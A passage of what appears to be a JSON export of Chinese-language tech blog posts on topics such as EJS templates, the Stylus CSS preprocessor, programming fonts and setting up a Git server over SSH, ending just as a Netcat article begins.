的文章。\n","permalink":"https://blog.gtwang.org/funny/optimizing-productive-work-environment/","summary":"\u003cp\u003e這裡告訴你什麼樣的環境可以讓自己的大腦發揮最高的創造力，增加工作效率。\u003c/p\u003e\n\u003cp\u003e現今有許多的研究者都在研究大腦的運作與環境之間的關係，也有很多的學術論文被發表出來，根據這些研究結果，我們發現環境中的一些因子例如雜音、氣溫、光線等，都會對於人腦有影響，在好環境的條件之下還可以讓大腦的創造力提升。\u003c/p\u003e","title":"適合讓大腦發揮創造力的最佳環境"},{"content":"Google Trends 推出了一個新的螢幕保護程式，可以讓你及時看到目前網路上熱門的搜尋關鍵字有哪些，但只適用於 Mac OS X 的使用者。\nGoogle Trends 搜尋趨勢是 Google 提供的一項查詢服務，它可以讓你查看目前網路上熱門的關鍵字有哪些，現在 Google 將這個服務製作成視覺化的螢幕保護程式，讓你可以直接安裝在自己的電腦中，不過目前只有 Mac OS X 版本，Windows 系統的使用者可以參考 Google Trends Screensaver。\n這個程式可以讓你自定熱門搜尋的區域，例如在台灣的人就可以只顯示台灣地區熱門的關鍵字，看看現在網路上流行哪些有趣的玩意兒，另外也可以指定一次顯示多少的關鍵字方塊。\n雖然這個不是什麼厲害的功能，不過拿來當作電腦的螢幕保護程式，沒事的時候讓你看看網路上有哪些新鮮事，也算是一個不錯的設計。\n","permalink":"https://blog.gtwang.org/funny/google-hot-trends-mac-os-x/","summary":"\u003cp\u003e\u003ca href=\"https://trends.google.com/trends/\"\u003eGoogle Trends\u003c/a\u003e 推出了一個新的螢幕保護程式，可以讓你及時看到目前網路上熱門的搜尋關鍵字有哪些，但只適用於 Mac OS X 的使用者。\u003c/p\u003e\n\u003cp\u003eGoogle Trends 搜尋趨勢是 Google 提供的一項查詢服務，它可以讓你查看目前網路上熱門的關鍵字有哪些，現在 Google 將這個服務製作成\u003ca href=\"https://trends.google.com/tv/?rows=4\u0026amp;cols=4\"\u003e視覺化的螢幕保護程式\u003c/a\u003e，讓你可以直接安裝在自己的電腦中，不過目前只有 Mac OS X 版本，Windows 系統的使用者可以參考 \u003ca href=\"https://sourceforge.net/projects/trendssaver/\"\u003eGoogle Trends Screensaver\u003c/a\u003e。\u003c/p\u003e","title":"Google Trends 視覺化搜尋趨勢螢幕保護程式（只適用於 Mac OS X）"},{"content":"TodoMVC 是一個協助網頁應用程式開發者挑選 MVC 架構工具，透過範例程式讓你可以很快的比較各種架構之間實質上的差異所在。\n拜網路雲端化的趨勢所賜，全世界有非常多的開發者陸續發展出非常多適用於網頁應用程式的 MVC 架構（framework），其中更有許多優質的開放原始碼架構，無論是功能性與穩定性都非常好，網頁開發者可以利用這些豐富又免費的資源開發各種應用程式，省去自己設計架構的精力與時間。\n但是由於這樣的 MVC 架構實作品實在太多了，如何從中挑選一個適合自己的架構，又是一個令人頭痛的問題，有時後光去蒐集這類的資訊就已經很費時了，更何況還要消化它們。\nTodoMVC 將各種常見的網頁 MVC 架構整理出來，並且使用每一個架構實作一個 Todo List 示範程式，開發者可以從這些示範程式的原始碼很快的（應該說比起自己看各種官方網站要快一些）看出每個 MVC 架構的特性與差異，幫助開發者選擇適合自己專案的架構。\n如果你是一個網頁應用程式的開發者，我個人強烈建議一定要參考一下這個網站，你可能聽過 Backbone.js、AngularJS 與 Ember.js，但是你可能不知道類似的架構常見的就有數十種，如果你要的東西別人已經寫好了，直接拿來用是可以輕鬆很多的。\nTodoMVC 將各種架構區分為 JavaScript Apps、Compile To JavaScript、MVC Extension Frameworks、Module Loaders 與 Real-time 這幾類，對於有興趣的架構你可以直接動手修改 GitHub 上的原始碼，感覺一下架構是如何運作的，我想這是一般的開發者在學習一個新技術時常會做的事情（至少我自己是這樣）。\n另外 TodoMVC 也蒐集了每一種架構的一些網路資源（例如官方文件、社群的教學文件與討論區等），方便開發者查閱，使用起來很方便。\n","permalink":"https://blog.gtwang.org/web-development/todomvc-mvc-framework-selection-tool/","summary":"\u003cp\u003e\u003ca href=\"https://todomvc.com/\"\u003eTodoMVC\u003c/a\u003e 是一個協助網頁應用程式開發者挑選 MVC 架構工具，透過範例程式讓你可以很快的比較各種架構之間實質上的差異所在。\u003c/p\u003e\n\u003cp\u003e拜網路雲端化的趨勢所賜，全世界有非常多的開發者陸續發展出非常多適用於網頁應用程式的 MVC 架構（framework），其中更有許多優質的開放原始碼架構，無論是功能性與穩定性都非常好，網頁開發者可以利用這些豐富又免費的資源開發各種應用程式，省去自己設計架構的精力與時間。\u003c/p\u003e","title":"TodoMVC：選擇 MVC 網頁開發架構（Framework）的好工具"},{"content":"EJS 是一個 client 端的 JavaScript template library，可以讓整個網頁程式碼結構更清楚、更整潔。\n一般的網頁程式設計師在開發網頁時，多多少少都會遇到這樣的 JavaScript 程式：\nvar html = \u0026#34;\u0026lt;h1\u0026gt;\u0026#34;+data.title+\u0026#34;\u0026lt;/h1\u0026gt;\u0026#34; html += \u0026#34;\u0026lt;ul\u0026gt;\u0026#34; for(var i=0; i\u0026lt;data.supplies.length; i++) { html += \u0026#34;\u0026lt;li\u0026gt;\u0026lt;a href=\u0026#39;supplies/\u0026#34;+data.supplies[i]+\u0026#34;\u0026#39;\u0026gt;\u0026#34; html += data.supplies[i]+\u0026#34;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#34; } html += \u0026#34;\u0026lt;/ul\u0026gt;\u0026#34; 這裡為了動態產生網頁內容，所以使用 JavaScript 來產生 HTML 程式碼，在傳統上如果是要在 client 產生這樣的動態內容都是這樣做的，但這樣的缺點就是程式碼架構比較雜亂，而且這樣的程式在修改上也比較不容易。\nEJS 是一個 client 端的 JavaScript 函式庫，可將傳統的 HTML 程式碼分離成範本（template）與 JSON 形式的資料（data）。\nEJS 很類似 PHP 與 ERB 這類的內崁式程式語言，只不過傳統上的這些內崁式程式語言都運行於伺服器端，而 EJS 則是在 client 運行的。\nEJS 使用 \u0026lt;% %\u0026gt; 或 [% %] 作為內崁 JavaScript 的關鍵符號，也就是說放在這中間的部分就會被視為 JavaScript 來執行，另外如果放在 \u0026lt;%= %\u0026gt; 裡面的 JavaScript 變數，則會以 toString() 的方式將其轉換為字串，並加入至網頁中。\n如果你有 PHP 的程式設計經驗，這些 EJS 的用法你應該會感覺很熟悉。以下是一個簡單的範例。\n使用前先從 EJS 的官方網站下載它的 JavaScript 函式庫檔案，並加入自己的網頁中：\n\u0026lt;script src=\u0026#34;ejs.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 建立一個 EJS 的範本檔案 templates/supplies.ejs：\n\u0026lt;!-- templates/supplies.ejs --\u0026gt; \u0026lt;h1\u0026gt;\u0026lt;%= title %\u0026gt;\u0026lt;/h1\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;% for(var i=0; i\u0026lt;supplies.length; i++) {%\u0026gt; \u0026lt;li\u0026gt;\u0026lt;%= supplies[i] %\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;% } %\u0026gt; \u0026lt;/ul\u0026gt; 這個範本檔案中，混合了傳統的 HTML 與內崁式的 JavaScript，由於 EJS 的語法很簡潔，所以整個架構通常都可以一目瞭然。\n接著在網頁中，先用 JavaScript 建立實際的資料：\nvar my_supplies = { title: \u0026#39;Cleaning Supplies\u0026#39;, supplies: [\u0026#39;mop\u0026#39;, \u0026#39;broom\u0026#39;, \u0026#39;duster\u0026#39;] } 最後再使用 EJS 與範本檔案，產生真正要顯示的 HTML：\nvar result = new EJS({url: \u0026#39;templates/supplies.ejs\u0026#39;}).render(my_supplies); document.getElementById(\u0026#39;supply_list\u0026#39;).innerHTML = result 透過這樣的方式，就可以將範本檔案跟一般的 HTML 分開，讓整個程式架構更清晰、整潔，且更容易維護。\n","permalink":"https://blog.gtwang.org/programming/ejs-embedded-javascript/","summary":"\u003cp\u003e\u003ca href=\"https://ejs.co/\"\u003eEJS\u003c/a\u003e 是一個 client 端的 JavaScript template library，可以讓整個網頁程式碼結構更清楚、更整潔。\u003c/p\u003e\n\u003cp\u003e一般的網頁程式設計師在開發網頁時，多多少少都會遇到這樣的 JavaScript 程式：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;h1\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"nx\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etitle\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;/h1\u0026gt;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;ul\u0026gt;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nx\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esupplies\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;li\u0026gt;\u0026lt;a href=\u0026#39;supplies/\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"nx\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esupplies\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u0026#39;\u0026gt;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nx\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esupplies\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;/ul\u0026gt;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e這裡為了動態產生網頁內容，所以使用 JavaScript 來產生 HTML 程式碼，在傳統上如果是要在 client 產生這樣的動態內容都是這樣做的，但這樣的缺點就是程式碼架構比較雜亂，而且這樣的程式在修改上也比較不容易。\u003c/p\u003e","title":"EJS：Client 端嵌入式（Embedded）JavaScript"},{"content":"Stylus 是一個 Node.js 架構下的 CSS 前處理器，這裡介紹它的基本使用方式。\nStylus 是一種用來產生 CSS 的程式語言，其語法基本上是從傳統的 CSS 簡化而來，所以跟 CSS 的寫法類似，但是更精簡，另外也加入一些函數與運算的功能，讓使用上更彈性。\nStylus 有以下幾個特點：\n以 Node.js 為基礎，不需要其餘的軟體。（Sass 需要 Ruby） 有提供 JavaScript API，可以讓使用者自定前處理流程。 語法精簡，不需要括號、冒號或分號，只使用空白分隔。（如果使用這些符號也是可以正確編譯） 有額外的 Nib 函式庫可以使用。 安裝 Stylus Stylus 是建立在 Node.js 之上的工具，所以首先要先安裝好 Node.js，然後再用 npm 安裝 Stylus：\nnpm install stylus 這樣會將 Stylus 安裝在目前的目錄中，如果要安裝在系統的目錄，就要再加上 -g 參數：\nnpm install stylus -g 稍後使用時，請自己注意安裝的路徑，如果安裝的位置是在系統設定好的 PATH 路徑上，那麼直接執行 stylus 就可以使用了：\nstylus -h 如果安裝在本地的目錄，可能就要加上相對的路徑，例如：\n./node_modules/stylus/bin/stylus -h 使用 Stylus Stylus 的語法就是把原本的 CSS 簡化而成的，例如原本的 CSS 程式碼是這樣：\nbody { font: 12px Helvetica, Arial, sans-serif; } a.button { -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; } 首先把大括號省略，變成這樣：\nbody font: 12px Helvetica, Arial, sans-serif; a.button -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; 接著再省略分號：\nbody font: 12px Helvetica, Arial, sans-serif a.button -webkit-border-radius: 5px -moz-border-radius: 5px border-radius: 5px 最後連同冒號也省略：\nbody font 12px Helvetica, Arial, sans-serif a.button -webkit-border-radius 5px -moz-border-radius 5px border-radius 5px 使用 mixins 讓程式更乾淨：\nborder-radius() -webkit-border-radius arguments -moz-border-radius arguments border-radius arguments body font 12px Helvetica, Arial, sans-serif a.button border-radius(5px) 以上這些都是可以在 Stylus 中使用的語法，也就是說如果你不想省略某些符號（例如保留冒號等），Stylus 也是可以正常編譯的。\n在撰寫 Stylus 時唯一要注意的就是空白，Stylus 是靠著縮排來判斷整個程式碼的結構的，這個跟 Python 有點類似。\n編譯 Stylus Stylus 的原始檔都是以 .styl 作為副檔名，假設你已經建立了一個 Stylus 的原始檔 main.styl，則可直接使用 stylus 指令進行編譯：\nstylus main.styl 編譯完會得到一個 main.css 檔，這個檔案就是編譯的結果。\n如果想要產生一個最小化 CSS 檔，可以加上 -c 或 --compress 參數：\nstylus -c main.styl 若要指定輸出的目錄，可以使用 -o 或 --out 參數：\nstylus -o output main.styl 這樣就會將輸出的 CSS 檔放置在 output 目錄中。\n使用 -U 或 --inline 參數可以將 CSS 中的圖片以 Data URI 的方式，內崁至 CSS 檔中：\nstylus -U main.styl stylus 還有許多參數，可以使用\nstylus -h 來查看。\nStylus 語法 當然 Stylus 除了讓你少寫一些基本的標點符號之外，它還有很多其他的功能，以下我們以各種範例來介紹。\n巢狀結構 Stylus 的巢狀結構語法可以讓程式碼更簡潔：\nbody { font: 14px/1.5 Helvetica, arial, sans-serif; #logo { border-radius: 5px; } } 編譯結果為：\nbody { font: 14px/1.5 Helvetica, arial, sans-serif; } body #logo { border-radius: 5px; } 父節點參照（Parent Reference） 跟 SASS 一樣可以參照父節點：\nul li a display: block color: blue padding: 5px html.ie \u0026amp; padding: 6px \u0026amp;:hover color: red 編譯結果為：\nul li a { display: block; color: #00f; padding: 5px; } html.ie ul li a { padding: 6px; } ul li a:hover { color: #f00; } Mixins Stylus 的 mixins 可以讓你定義函數，重複使用程式碼：\nborder-radius(val) -webkit-border-radius: val -moz-border-radius: val border-radius: val button { border-radius(5px); } 編譯結果為：\nbutton { -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; } Transparent Mixins Transparent mixins 是 Stylus 特有的功能，它可以讓你傳入任意個數的參數：\nborder-radius() -webkit-border-radius: arguments -moz-border-radius: arguments border-radius: arguments button { border-radius: 5px 10px; } 編譯結果為：\nbutton { -webkit-border-radius: 5px 10px; -moz-border-radius: 5px 10px; border-radius: 5px 10px; } 變數 Stylus 的變數跟一般程式語言差不多，你可以自己選擇變數名稱要不要用 $ 字元開頭：\n##prompt position: absolute top: 150px left: 50% width: w = 200px margin-left: -(w / 2) 編譯結果為：\n##prompt { position: absolute; top: 150px; left: 50%; width: 200px; margin-left: -100px; } 讀取區域屬性 Stylus 的區域屬性讀取功能，可以讓你取得特定的屬性值：\n##prompt position: absolute top: 150px left: 50% width: 200px margin-left: -(@width / 2) 編譯結果為：\n##prompt { position: absolute; top: 150px; left: 50%; width: 200px; margin-left: -100px; } 迴圈 這是 Stylus 的 for 迴圈寫法：\ntable for row in 1 2 3 4 5 tr:nth-child({row}) height: 10px * row 編譯結果為：\ntable tr:nth-child(1) { height: 10px; } table tr:nth-child(2) { height: 20px; } table tr:nth-child(3) { height: 30px; } table tr:nth-child(4) { height: 40px; } table tr:nth-child(5) { height: 50px; } Interpolation Stylus 的 interpolation 功能可以讓你將變數安插在 CSS 屬性名稱中，組成各種屬性名稱：\nvendors = webkit moz o ms official border-radius() for vendor in vendors if vendor == official border-radius: arguments else -{vendor}-border-radius: arguments ##content border-radius: 5px 編譯結果為：\n##content { -webkit-border-radius: 5px; -moz-border-radius: 5px; -o-border-radius: 5px; -ms-border-radius: 5px; border-radius: 5px; } 各種運算子 這是 Stylus 支援的各種運算子：\nbody foo: 5px + 10 foo: 2 ** 8 foo: 5px * 2 foo: !!\u0026#39;\u0026#39; foo: foo and bar and baz foo: foo or bar or baz foo: 1..5 foo: 1...5 foo: \u0026#39;foo\u0026#39; is a \u0026#39;string\u0026#39; foo: (1 2 3) == (1 2 3) foo: (1 2 3) == (1 2) foo: ((one 1) (two 2)) == ((one 1) (two 2)) foo: ((one 1) (two 2)) == ((one 1) (two)) foo: ((one 1) (two 2))[] foo: 3 in (1 2 3 4) 編譯結果為：\nbody { foo: 15px; foo: 256; foo: 10px; foo: false; foo: baz; foo: foo; foo: 1 2 3 4 5; foo: 1 2 3 4; foo: true; foo: true; foo: false; foo: true; foo: false; foo: one 1; foo: true; } 變數型別轉換 Stylus 會在適當的時機自動進行變數的型別轉換：\nbody foo: foo + bar foo: \u0026#39;foo \u0026#39; + bar foo: \u0026#39;foo \u0026#39; + \u0026#39;bar\u0026#39; foo: \u0026#39;foo \u0026#39; + 5px foo: 2s - 500ms foo: 5000ms == 5s foo: 50deg 編譯結果為：\nbody { foo: foobar; foo: \u0026#39;foo bar\u0026#39;; foo: \u0026#39;foo bar\u0026#39;; foo: \u0026#39;foo 5px\u0026#39;; foo: 1.5s; foo: true; foo: 50deg; } sprintf 運算子 Stylus 的 % 運算子，其作用相當於一般語言的 sprintf 函數：\nbody foo: \u0026#39;%s / %s\u0026#39; % (5px 10px) foo: \u0026#39;MS:WeirdStuff(opacity=%s)\u0026#39; % 1 foo: unquote(\u0026#39;MS:WeirdStuff(opacity=1)\u0026#39;) 編譯結果為：\nbody { foo: 5px / 10px; foo: MS:WeirdStuff(opacity=1); foo: MS:WeirdStuff(opacity=1); } 顏色運算 Stylus 也可以直接對顏色進行運算：\nbody foo: white - 50% foo: black + 50% foo: #eee - #f00 foo: #eee - rgba(black,.5) foo: #cc0000 + 30deg 編譯結果為：\nbody { foo: #808080; foo: #808080; foo: #0ee; foo: rgba(238,238,238,0.5); foo: #c60; } 函數 Stylus 可以自行定義函數，函數定義的語法跟 mixins 相同，但在使用上則有差異：\nsum(nums...) n = n += num for num in nums body foo: sum(1, 2, 3) 編譯結果為：\nbody { foo: 6; } 具名參數 具名參數可以讓程式碼看起來更清楚：\nfade-out(color, amount = 50%) amount /= 100 color - rgba(,,,amount) body foo: fade-out(#eee) foo: fade-out(#eee, 20%) foo: fade-out(#eee, amount: 50%) foo: fade-out(color: #eee, amount: 50%) foo: fade-out(amount: 50%, #eee) foo: fade-out(amount: 50%, color: #eee) 編譯結果為：\nbody { foo: rgba(238,238,238,0.995); foo: rgba(238,238,238,0.998); foo: rgba(238,238,238,0.995); foo: rgba(238,238,238,0.995); foo: rgba(238,238,238,0.995); foo: rgba(238,238,238,0.995); } 以上是一些常見的使用範例，至於更詳細的語法，請直接參考 Stylus 的官方網站。\n","permalink":"https://blog.gtwang.org/web-development/stylus-css-preprocessor-based-on-nodejs/","summary":"\u003cp\u003eStylus 是一個 Node.js 架構下的 CSS 前處理器，這裡介紹它的基本使用方式。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://stylus-lang.com/\"\u003eStylus\u003c/a\u003e 是一種用來產生 CSS 的程式語言，其語法基本上是從傳統的 CSS 簡化而來，所以跟 CSS 的寫法類似，但是更精簡，另外也加入一些函數與運算的功能，讓使用上更彈性。\u003c/p\u003e","title":"Stylus：Node.js 架構下的 CSS 前處理器"},{"content":"這裡整理了一些容易閱讀的等寬英文字型，適合程式設計師在編寫程式時使用。\n一般程式設計師在撰寫程式時，通常都會需要閱讀大量的程式碼，為自己的開發環境選擇一個適合閱讀的字型，是一件很重要的事情。\n以下整理了各種適合程式設計的等寬字型（Monospaced Font），在 Ubuntu Linux 中使用 Vim 編輯器測試的結果。\n在 Debian 系列的 Linux 中，如果要安裝字型，可將字型檔放在 /usr/share/fonts 或 ~/.fonts 目錄中，然後執行：\nfc-cache -fv 這樣就可以使用新安裝的字型了。\nTerminus 字型名稱：Terminus\n下載網址：sourceforge.net\n如果是在 Ubuntu Linux 中，亦可用 apt 安裝：\nsudo apt-get install xfonts-terminus Envy Code R 字型名稱：Envy Code R\n下載網址：damieng.com\nHermit Medium 字型名稱：Hermit\n下載網址：pcaro.es\nInconsolata 字型名稱：Inconsolata\n下載網址：levien.com\nDebian 系列的 Linux，可以用 apt 安裝：\nsudo apt-get install fonts-inconsolata Deja Vu Sans Mono 字型名稱：Deja Vu Sans Mono\n下載網址：fontsquirrel.com\nElronet Monospace 字型名稱：Elronet Monospace\n下載網址：fontriver.com\nAnonymous Pro 字型名稱：Anonymous Pro\n下載網址：marksimonson.com\nProfont 字型名稱：Profont\n下載網址：tobiasjung.name\n在 Ubuntu Linux 中若要讓 ProFont 正常運作，要在 ~/.fonts.conf 針對 ProFont 字型做一些特別的設定：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt;\u0026lt;!DOCTYPE fontconfig SYSTEM \u0026#34;fonts.dtd\u0026#34;\u0026gt; \u0026lt;fontconfig\u0026gt; \u0026lt;selectfont\u0026gt; \u0026lt;acceptfont\u0026gt; \u0026lt;pattern\u0026gt; \u0026lt;patelt name=\u0026#34;family\u0026#34;\u0026gt;\u0026lt;string\u0026gt;ProFont\u0026lt;/string\u0026gt;\u0026lt;/patelt\u0026gt; \u0026lt;/pattern\u0026gt; \u0026lt;/acceptfont\u0026gt; \u0026lt;/selectfont\u0026gt; \u0026lt;/fontconfig\u0026gt; AR PL UMing TW 字型名稱：AR PL UMing\n下載網址：freedesktop.org\n若在 Ubuntu Linux 中，可用 apt 安裝：\nsudo apt-get install fonts-arphic-uming Monofur 字型名稱：Monofur\n下載網址：dafont.com\nCourier Negreta Courier 是一個各種系統都會內建的字型，不需要安裝即可使用，有些系統中會以 Courier New 這個名稱表示該字型。上面的兩張圖是將樣式調整為 Negreta 的情況。\nMonaco 字型名稱：Monaco\n下載網址：monaco-font\nMonaco 是 Mac 系統中內建的字型，如果是 Mac 的使用者則不需要安裝。\nProggy Clean 字型名稱：Proggy Clean\n下載網址：dafont.com\nDroid Sans Mono 字型名稱：Droid Sans Mono\n下載網址：damieng.com\nConsolas Consolas 是微軟所設計的字型，不過現在許多系統都已經有內建了。\n字型名稱：Consolas\n下載網址：fontpalace.com\nDina Dina 是一種只適用於 Windows 系統的字型。\n字型名稱：Dina\n下載網址：dcmembers.com\nSource Code Pro Source Code Pro 是由 Paul D. Hunt 所設計的開放原始碼字型。\n字型名稱：Source Code Pro\n下載網址：GitHub\nBitstream Vera Sans Mono 字型名稱：Bitstream Vera Sans Mono\n下載網址：Font Squirrel\n若在 Ubuntu Linux 中，亦可使用 apt 安裝：\nsudo apt-get install ttf-bitstream-vera 參考資料 webdesignerdepot.com ","permalink":"https://blog.gtwang.org/programming/monospaced-font-for-programmers/","summary":"\u003cp\u003e這裡整理了一些容易閱讀的等寬英文字型，適合程式設計師在編寫程式時使用。\u003c/p\u003e\n\u003cp\u003e一般程式設計師在撰寫程式時，通常都會需要閱讀大量的程式碼，為自己的開發環境選擇一個適合閱讀的字型，是一件很重要的事情。\u003c/p\u003e","title":"適合程式設計師編寫程式的免費等寬字型（Monospaced Font）整理"},{"content":"這裡簡單說明在 Linux 中如何架設 Git 伺服器，將自己電腦中的 Git 專案放進伺服器中，讓整個團隊進行協同開發。\nGit 伺服器所使用的傳輸協定分為好幾種，這裡介紹如何設定 SSH 加密傳輸的 Git 伺服器。\n基本 Git 伺服器架設 使用 git clone 加上 --bare 參數，將目前自己電腦中的 repository 匯出一份 bare repository（不含 working directory 的 repository，而習慣上 bare repository 的目錄名稱都會以 .git 結尾）：\ngit clone --bare my_project my_project.git 這樣在 my_project.git 中應該就會有一份 git 的目錄資料。\n上面這個建立 bare repository 的動作，大致上就是將 my_project/.git 目錄複製出來而已：\ncp -Rf my_project/.git my_project.git 其中有些小差異，不過在這裡沒有太大的影響。\n接著將這個 bare repository 放進伺服器中：\nscp -r my_project.git user@git.example.com:/opt/git/ 這樣會將剛剛建立的 bare repository 放進 git.example.com 這台伺服器的 /opt/git/ 目錄中，當然你要先確定你有這個目錄的寫入權限。\n在這個時候，只要可以讀取 /opt/git/ 目錄的使用者，都可以 clone 這個 repository：\ngit clone user@git.example.com:/opt/git/my_project.git 如果要讓開發團隊中的每個人都可以將自己開發的內容 push 上來，那就要再執行 git init 並加上 --shared 參數：\nssh user@git.example.com cd /opt/git/my_project.git git init --bare --shared 這樣基本的 Git 伺服器就完成了，現在只要在伺服器上有帳號的人，都可以使用這個 repository 進行開發了。\n設定 SSH 帳號與權限 上面設定好的 Git 伺服器適用於開發團隊中每位成員都有 Linux 帳號的狀況，如果團隊的成員很多，不想要爲每一個人都開一個帳號，那比較簡單的做法就是大家都使用同一個 Linux 帳號。\n首先在伺服器中新增一個 Git 專用的帳號：\nsudo adduser git 將 /opt/git/DesktopApp.git 整個目錄的擁有者設定為 git：\nsudo chown -R git:git /opt/git/DesktopApp.git 變換為 git 帳號權限，在 home 目錄中建立一個 .ssh 目錄：\nsudo su git cd mkdir .ssh 建立 SSH public key：\nssh-keygen 將產生的 public key 複製到 authorized_keys，讓 SSH 登入時可以使用這支 key 做認證：\ncp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys 編輯 /etc/passwd，更改 git 帳號的 shell 為 /usr/bin/git-shell：\ngit:x:1002:1003:,,,:/home/git:/bin/bash 改為\ngit:x:1002:1003:,,,:/home/git:/usr/bin/git-shell 這樣這定就完成了，最後就把 /home/git/.ssh/id_rsa 交給團隊中的開發者，藉由 public key 認證的方式登入。\n這裡產生一組 key 讓所有人共用是比較偷懶的做法，一般來說應該是讓每個人都各自產生自己的 public key，然後全部放進 git 的 ~/.ssh/authorized_keys 中：\ncat /tmp/id_rsa.john.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys cat /tmp/id_rsa.josie.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys cat /tmp/id_rsa.jessica.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys 通常這樣會比較好，不會讓開發者需要管理太多的 private key。\n如果是使用 Eclipse 的人，可以使用 Eclipse 直接產生 public key，然後再把這個 key 加進 authorized_keys 中。\n參考資料 git-scm.com ","permalink":"https://blog.gtwang.org/linux/linux-git-server-using-ssh/","summary":"\u003cp\u003e這裡簡單說明在 Linux 中如何架設 Git 伺服器，將自己電腦中的 Git 專案放進伺服器中，讓整個團隊進行協同開發。\u003c/p\u003e\n\u003cp\u003eGit 伺服器所使用的傳輸協定分為好幾種，這裡介紹如何設定 SSH 加密傳輸的 Git 伺服器。\u003c/p\u003e","title":"在 Linux 中架設 Git 伺服器教學（使用 SSH 加密傳輸）"},{"content":"Netcat 是 Linux 系統下管理者常用的網路工具，這裡蒐集一些關於 Netcat 實用的範例。\nNetcat 是 Linux 系統中一個多功能的工具程式，雖然它只是一個小程式，但是能夠做的事情很多，就像瑞士刀一樣，幾乎任何使用 TCP 或 UDP 封包的動作都可以用它來達成，是許多系統管理者（包含我自己）最喜愛的網路診斷工具之一。\nNetcat 這個工具在 Linux 系統中的指令名稱是 nc，以下是各種 nc 